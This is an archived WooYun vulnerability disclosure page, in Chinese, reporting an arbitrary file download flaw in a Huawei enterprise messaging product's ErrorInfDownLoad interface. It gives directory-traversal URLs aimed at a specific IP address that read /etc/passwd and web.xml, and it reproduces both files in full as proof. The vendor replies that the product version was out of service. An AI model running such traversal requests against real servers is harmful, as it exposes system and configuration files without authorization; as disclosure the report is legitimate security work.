华为某接口设计不当导致任意文件下载

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128679

漏洞标题：华为某接口设计不当导致任意文件下载

漏洞作者： sOnsec

提交时间：2015-07-23 16:53

修复时间：2015-09-07 17:14

公开时间：2015-09-07 17:14

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-23：细节已通知厂商并且等待厂商处理中
2015-07-24：厂商已经确认，细节仅向厂商公开
2015-08-03：细节向核心白帽子及相关领域专家公开
2015-08-13：细节向普通白帽子公开
2015-08-23：细节向实习白帽子公开
2015-09-07：细节向公众公开

简要描述：

多个接口设计不当，导致任意文件下载。呵呵哒

详细说明：

这个接口:ErrorInfDownLoad
当然不止这一个
http://211.137.7.84:8080/ErrorInfDownLoad?errorName=/../../../../../../../etc/passwd
http://211.137.7.84:8080/ErrorInfDownLoad?errorName=/../../../../was/webroot/WEB-INF/web.xml

漏洞证明：

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/bash
daemon:x:2:2:Daemon:/sbin:/bin/bash
lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash
mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false
games:x:12:100:Games account:/var/games:/bin/bash
wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false
ftp:x:40:49:FTP account:/srv/ftp:/bin/bash
nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash
messagebus:!:100:101:User for D-Bus:/var/run/dbus:/bin/false
haldaemon:!:101:102:User for haldaemon:/var/run/hal:/bin/false
sshd:!:71:65:SSH daemon:/var/lib/sshd:/bin/false
man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash
news:x:9:13:News system:/etc/news:/bin/bash
uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash
at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash
mdnsd:x:78:65534:mDNSResponder runtime user:/var/lib/mdnsd:/bin/false
postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false
ntp:x:74:103:NTP daemon:/var/lib/ntp:/bin/false
icecream:x:102:104:Icecream Daemon:/var/cache/icecream:/bin/false
mysql:x:60:105:MySQL database admin:/var/lib/mysql:/bin/false
beagleindex:x:103:106:User for Beagle indexing:/var/cache/beagle:/bin/bash
suse-ncc:x:104:107:Novell Customer Center User:/var/lib/YaST2/suse-ncc-fakehome:/bin/bash
gdm:x:105:108:Gnome Display Manager daemon:/var/lib/gdm:/bin/false
db2inst1:x:801:901::/home/db2inst1:/bin/sh
db2fenc:x:802:902::/home/db2fenc:/bin/sh
db2das:x:803:903::/home/db2das:/bin/sh
mas:x:804:904::/home/mas:/bin/bash

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
	<filter>
		<filter-name>EncodingFilter</filter-name>
		<filter-class>com.huawei.insa2.filter.EncodingFilter</filter-class>
		
		<init-param>
			<param-name>content-type</param-name>
			<param-value>text/html; charset=UTF-8</param-value>
		</init-param>
		<init-param> 
			<param-name>encoding</param-name>
			<param-value>UTF-8</param-value>
		</init-param>
	</filter>
	
	<filter>
		<filter-name>UrlFilter</filter-name>
		<filter-class>com.huawei.customsms.beans.UrlFilter</filter-class>
	</filter>
	<!-- filter-mapping>
		<filter-name>EncodingFilter</filter-name>
		<url-pattern>*.jsp</url-pattern>
	</filter-mapping-->
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/group/*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/addresslist/*</url-pattern>
	</filter-mapping>
	
<!--	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/cfg/*</url-pattern>
	</filter-mapping> -->
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/count/*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/member/*</url-pattern>
	</filter-mapping>
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/mms/*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/multisend/*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/forbidden/*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/net*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>	
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/operator/*</url-pattern>
	</filter-mapping> 	
	
	<filter-mapping>	
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/operatorIP/*</url-pattern>
	</filter-mapping> 
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/ppmtask/*</url-pattern>
	</filter-mapping> 	
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/receivemm/*</url-pattern>
	</filter-mapping> 		
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/routine/*</url-pattern>
	</filter-mapping> 	
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/self/*</url-pattern>
	</filter-mapping> 
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/smbox/*</url-pattern>
	</filter-mapping> 
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/smsend/*</url-pattern>
	</filter-mapping> 
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/sptest/*</url-pattern>
	</filter-mapping> 
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/tag/*</url-pattern>
	</filter-mapping> 
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/temp/*</url-pattern>
	</filter-mapping> 
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/template/*</url-pattern>
	</filter-mapping> 	
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/templategroup/*</url-pattern>
	</filter-mapping> 	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/upfile/*</url-pattern>
	</filter-mapping> 		
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/upfiledata/*</url-pattern>
	</filter-mapping> 
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/upmusic/*</url-pattern>
	</filter-mapping>
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/uppic/*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/department/*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/employe/*</url-pattern>
	</filter-mapping>
	
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/masmanage/*</url-pattern>
	</filter-mapping>
	<filter-mapping>
		<filter-name>UrlFilter</filter-name>
		<url-pattern>/exttools/*</url-pattern>
	</filter-mapping>
	<!-- filter-mapping>
		<filter-name>EncodingFilter</filter-name>
		<url-pattern>*.jsp</url-pattern>
	</filter-mapping-->
	<filter-mapping>
		<filter-name>EncodingFilter</filter-name>
		<url-pattern>/*</url-pattern>
	</filter-mapping>
	
	<resource-ref>
		<description>EIE Datasource</description>
		<res-ref-name>jdbc/eie</res-ref-name>
		<res-type>javax.sql.DataSource</res-type>
		<res-auth>Container</res-auth>
	</resource-ref>
	<servlet>
		<servlet-name>deletelogservlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.DeleteLogServlet</servlet-class>
	</servlet>
	<servlet>
	    <servlet-name>deletemaslogservlet</servlet-name>
	    <servlet-class>com.huawei.customsms.servlet.DeleteMasLogServlet</servlet-class>
	</servlet>
	<servlet>
	    <servlet-name>deletealertlogservlet</servlet-name>
	    <servlet-class>com.huawei.customsms.servlet.DeleteAlertLogServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>logexporttoexcelservlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.LogExportToExcelServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>birthdayservlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.BirthdayServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>partaddservlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.PartAddServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>partdeleteservlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.PartDeleteServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>parteditservlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.PartEditServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>UpForbiddenWordServlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.UpForbiddenWordServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>selectlogservlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.SelectLogServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>setlogservlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.SetLogServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>MmsExportToExcelServlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.MmsExportToExcelServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>kjavamainservlet</servlet-name>
		<servlet-class>com.huawei.customsms.kjava.server.kjavaReceived.KjavaMainServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>InitBegin</servlet-name>
		<servlet-class>com.huawei.insa2.core.InitBegin</servlet-class>
		<load-on-startup>1</load-on-startup>
	</servlet>
	<servlet>
		<servlet-name>InitEnd</servlet-name>
		<servlet-class>com.huawei.insa2.core.InitEnd</servlet-class>
		<load-on-startup>2</load-on-startup>
	</servlet>
	<servlet>
		<servlet-name>UpLoadImgServlet</servlet-name>
		<servlet-class>com.huawei.customsms.beans.wap.UpLoadImgServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>wap</servlet-name>
		<servlet-class>com.huawei.customsms.wap.MainServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>OperatorLogin</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.OperatorLoginVerifyServlet</servlet-class>
	</servlet>
    
    
    
	<servlet>
	  <servlet-name>RandomNumberServlet</servlet-name>
	  <servlet-class>com.huawei.customsms.util.RandomNumberServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>Attemper</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.AttemperServlet</servlet-class>
		<init-param>
			<param-name>beans</param-name>
			<param-value>/WEB-INF/beans.xml</param-value>
		</init-param>
		<load-on-startup>3</load-on-startup>
	</servlet>
	<servlet>
		<servlet-name>UpCfgFile</servlet-name>
		<servlet-class>com.huawei.customsms.util.UpFileServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>Monitor</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.InitialMonitor</servlet-class>
		<init-param>
			<param-name>configfile</param-name>
			<param-value>/WEB-INF/monitor.xml</param-value>
		</init-param>
		<load-on-startup>0</load-on-startup>
	</servlet>		
	<servlet>
		<servlet-name>UpFile</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.UpFileServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>NewUpFile</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.NewUpFileServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>UpMember</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.UpMemberServlet</servlet-class>
	</servlet>
		
   <servlet>
	    <servlet-name>UpEmployee</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.UpEmployeeServlet</servlet-class>
	</servlet>
	
	<servlet>
		<servlet-name>UpPPM</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.UpPPMServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>UpForbiddenMobileServlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.UpForbiddenMobileServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>UpForbiddenMobileWhiteServlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.UpForbiddenMobileWhiteServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>WAPConfigServlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.WAPConfigServlet</servlet-class>
		<load-on-startup>4</load-on-startup>
	</servlet>
	<servlet>
		<servlet-name>ExportMemberListServlet</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.ExportMemberListServlet</servlet-class>
		<load-on-startup>5</load-on-startup>
	</servlet>
	<servlet>
		<servlet-name>ExportToExcel</servlet-name>
		<servlet-class>com.huawei.customsms.servlet.ExportToExcelServlet</servlet-class>
	</servlet>
	<servlet>
		<servlet-name>action</servlet-name>
		<servlet-class>com.huawei.eie.struts.EIEAction</servlet-class>
		<init-param>
			<param-name>config</param-name>
			<param-value>/WEB-INF/struts-config.xml</param-value>
		</init-param>
		<init-param>
			<param-name>debug</param-name>
			<param-value>2</param-value>
		</init-param>
		<init-param>
			<param-name>detail</param-name>
			<param-value>3</param-value>
		</init-param>
		<load-on-startup>0</load-on-startup>
	</servlet>
	<servlet-mapping>
		<servlet-name>action</servlet-name>
		<url-pattern>*.do</url-pattern>
	</servlet-mapping>
	<servlet>
		<servlet-name>UploadProgressServlet</servlet-name>
		<servlet-class>com.huawei.customsms.common.fileupload.UploadProgressServlet</servlet-class>
	</servlet>
  <servlet>
    <servlet-name>UploadFileServlet</servlet-name>
    <servlet-class>com.huawei.customsms.download.servlet.UploadFileServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>DownFile</servlet-name>
    <servlet-class>com.huawei.customsms.download.servlet.DownFile</servlet-class>
  </servlet>
  <servlet>
	<servlet-name>ErrorInfDownLoad</servlet-name>
	<servlet-class>com.huawei.customsms.download.servlet.ErrorInfDownLoad</servlet-class>
  </servlet>
  <servlet>
	<servlet-name>ErrorProcess</servlet-name>
	<servlet-class>com.huawei.customsms.download.servlet.ErrorProcess</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>PaginationExportToExcelServlet</servlet-name>
    <servlet-class>com.huawei.customsms.servlet.PaginationExportToExcelServlet</servlet-class>
  </servlet>
  <servlet>
	<servlet-name>treeTest</servlet-name>
	<servlet-class>com.huawei.customsms.servlet.TreeTestServlet</servlet-class>
  </servlet>
  <servlet>
	  <servlet-name>ConnectionTest</servlet-name>
	  <servlet-class>com.huawei.customsms.servlet.TestConnServlet</servlet-class>
  </servlet>
  <servlet>
    <servlet-name>UpLoadForbiddenWordServlet</servlet-name>
    <servlet-class>com.huawei.customsms.download.servlet.UpLoadForbiddenWordServlet</servlet-class>
  </servlet>
  
  
  <servlet>
    <servlet-name>DownLoadFileServlet</servlet-name>
    <servlet-class>com.huawei.customsms.beans.emplogic.filedownload.DownLoadFileServlet</servlet-class>
  </servlet>
  <servlet>
  	<servlet-name>ExportSystemInfo</servlet-name>
  	<servlet-class>com.huawei.customsms.servlet.ExportSystemInfo</servlet-class>
  </servlet>
  
  <!--插件处理用的servlet add by xKF10733  -->
    <servlet>
	  <servlet-name>AddApidServlet</servlet-name>
	  <servlet-class>com.huawei.customsms.apPlugs.apServlet.AddApidServlet</servlet-class>
	</servlet>
	
	<servlet>
	  <servlet-name>ApidServlet</servlet-name>
	  <servlet-class>com.huawei.customsms.apPlugs.apServlet.ApidServlet</servlet-class>
	</servlet>
	
	<servlet>
	  <servlet-name>ConfineServlet</servlet-name>
	  <servlet-class>com.huawei.customsms.apPlugs.apServlet.ConfineServlet</servlet-class>
	</servlet>
	
	<servlet>
	  <servlet-name>ApidApServlet</servlet-name>
	  <servlet-class>com.huawei.customsms.apPlugs.apServlet.ApidApServlet</servlet-class>
	</servlet>
	<servlet>
	  <servlet-name>ApidStatusServlet</servlet-name>
	  <servlet-class>com.huawei.customsms.apPlugs.apServlet.ApidStatusServlet</servlet-class>
	</servlet>
	<servlet>
	  <servlet-name>ApidQueryServlet</servlet-name>
	  <servlet-class>com.huawei.customsms.apPlugs.apServlet.ApidQueryServlet</servlet-class>
	</servlet>
    <!-- end by xKF10733 -->
  
  <servlet-mapping>
  	<servlet-name>ExportSystemInfo</servlet-name>
  	<url-pattern>/ExportSystemInfo</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
		<servlet-name>DownLoadFileServlet</servlet-name>
		<url-pattern>/DownLoadFileServlet.sle</url-pattern>
	</servlet-mapping>
  <servlet-mapping>
		<servlet-name>RandomNumberServlet</servlet-name>
		<url-pattern>/RandomNumberServlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>UpForbiddenWordServlet</servlet-name>
		<url-pattern>/UpForbiddenWordServlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>deletelogservlet</servlet-name>
		<url-pattern>/deletelogservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
	    <servlet-name>deletemaslogservlet</servlet-name>
	    <url-pattern>/deletemaslogservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
	    <servlet-name>deletealertlogservlet</servlet-name>
	    <url-pattern>/deletealertlogservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>logexporttoexcelservlet</servlet-name>
		<url-pattern>/logexporttoexcelservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>partaddservlet</servlet-name>
		<url-pattern>/partaddservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>partdeleteservlet</servlet-name>
		<url-pattern>/partdeleteservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>parteditservlet</servlet-name>
		<url-pattern>/parteditservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>selectlogservlet</servlet-name>
		<url-pattern>/selectlogservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>setlogservlet</servlet-name>
		<url-pattern>/setlogservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>MmsExportToExcelServlet</servlet-name>
		<url-pattern>/MmsExportToExcel</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>kjavamainservlet</servlet-name>
		<url-pattern>/kjavamainservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>wap</servlet-name>
		<url-pattern>/wap</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>ExportToExcel</servlet-name>
		<url-pattern>/ExportToExcel</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>OperatorLogin</servlet-name>
		<url-pattern>/operatorlogin</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>Attemper</servlet-name>
		<url-pattern>/attemper</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>UpFile</servlet-name>
		<url-pattern>/upfile</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>NewUpFile</servlet-name>
		<url-pattern>/newupfile</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>UpPPM</servlet-name>
		<url-pattern>/upPPM</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>UpForbiddenMobileServlet</servlet-name>
		<url-pattern>/UpForbiddenMobileServlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>UpForbiddenMobileWhiteServlet</servlet-name>
		<url-pattern>/UpForbiddenMobileWhiteServlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>UpMember</servlet-name>
		<url-pattern>/upmember</url-pattern>
	</servlet-mapping>
	
	<servlet-mapping>
		<servlet-name>UpEmployee</servlet-name>
		<url-pattern>/UpEmployee</url-pattern>
	</servlet-mapping>
	
	
	<servlet-mapping>
		<servlet-name>UpLoadImgServlet</servlet-name>
		<url-pattern>/UpLoadImgServlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>UpCfgFile</servlet-name>
		<url-pattern>/UpCfgFile</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>birthdayservlet</servlet-name>
		<url-pattern>/birthdayservlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>ExportMemberListServlet</servlet-name>
		<url-pattern>/ExportMemberListServlet</url-pattern>
	</servlet-mapping>
	<servlet-mapping>
		<servlet-name>UploadProgressServlet</servlet-name>
		<url-pattern>/uploadprogressservlet</url-pattern>
	</servlet-mapping>
  <servlet-mapping>
    <servlet-name>UploadFileServlet</servlet-name>
    <url-pattern>/uploadFileServlet.sle</url-pattern>
  </servlet-mapping>
	
  <servlet-mapping>
    <servlet-name>DownFile</servlet-name>
    <url-pattern>/downFile.sle</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>PaginationExportToExcelServlet</servlet-name>
    <url-pattern>/PaginationExportToExcelServlet</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
	<servlet-name>treeTest</servlet-name>
	<url-pattern>/treeTest</url-pattern>
  </servlet-mapping>
    <servlet-mapping>
	<servlet-name>ConnectionTest</servlet-name>
	<url-pattern>/ConnectionTest</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>ErrorInfDownLoad</servlet-name>
    <url-pattern>/ErrorInfDownLoad</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>ErrorProcess</servlet-name>
    <url-pattern>/ErrorProcess.sle</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>UpLoadForbiddenWordServlet</servlet-name>
    <url-pattern>/upLoadForbiddenWordServlet</url-pattern>
  </servlet-mapping>
  
  <!--插件处理用的servlet add by xKF10733  -->
  <servlet-mapping>
    <servlet-name>AddApidServlet</servlet-name>
    <url-pattern>/AddApidServlet</url-pattern>
  </servlet-mapping>
  
  <servlet-mapping>
    <servlet-name>ApidServlet</servlet-name>
    <url-pattern>/ApidServlet</url-pattern>
  </servlet-mapping>
  
  <servlet-mapping>
    <servlet-name>ConfineServlet</servlet-name>
    <url-pattern>/ConfineServlet</url-pattern>
  </servlet-mapping>
  
   <servlet-mapping>
    <servlet-name>ApidApServlet</servlet-name>
    <url-pattern>/ApidApServlet</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>ApidStatusServlet</servlet-name>
    <url-pattern>/ApidStatusServlet</url-pattern>
  </servlet-mapping>
  <servlet-mapping>
    <servlet-name>ApidQueryServlet</servlet-name>
    <url-pattern>/ApidQueryServlet</url-pattern>
  </servlet-mapping>
  <!--end by xKF10733  -->
  
	<welcome-file-list>
		<welcome-file>index.jsp</welcome-file>
	</welcome-file-list>
</web-app>

修复方案：

.......

版权声明：转载请注明来源 sOnsec@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-07-24 17:13

厂商回复：

该漏洞存在于企业信息机产品EIE V400R001版本中，该版本已于2014年6月30日EOS（End of Service）。

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128679

漏洞标题：华为某接口设计不当导致任意文件下载

相关厂商：华为技术有限公司

漏洞作者： sOnsec

提交时间：2015-07-23 16:53

修复时间：2015-09-07 17:14

公开时间：2015-09-07 17:14

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 sOnsec@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128679

漏洞标题：华为某接口设计不当导致任意文件下载

相关厂商：华为技术有限公司

漏洞作者： sOnsec

提交时间：2015-07-23 16:53

修复时间：2015-09-07 17:14

公开时间：2015-09-07 17:14

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2015-0128679"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 sOnsec@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

评论

漏洞概要关注数(24) 关注此漏洞

Tags标签：无

4人收藏收藏
分享漏洞：